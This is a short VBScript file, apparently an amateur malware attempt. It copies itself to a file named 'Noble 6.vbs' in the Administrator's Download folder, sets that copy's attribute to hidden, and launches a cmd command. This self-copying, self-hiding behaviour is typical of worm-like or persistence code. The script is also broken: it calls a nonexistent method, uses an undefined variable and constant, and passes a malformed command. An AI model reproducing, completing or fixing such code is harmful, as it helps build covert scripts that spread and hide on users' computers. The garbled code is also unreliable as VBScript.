dim fso,copy,wshshell,ch
set fso=createobject("scripting.filesystemobject")
set copy=fso.getfile(wscript.scriptfullname)
copy.fso("c:\users\Administrator\Download\Noble 6.vbs")
ch=2
Set hide=fso.GetFile("c:\users\Administrator\Download\Noble 6.vbs")
hide.Attributes=f.Attributes Or Hidden
set wshshell=wscript.createobject("wscript.shell")
wshshell.run "cmd/c a"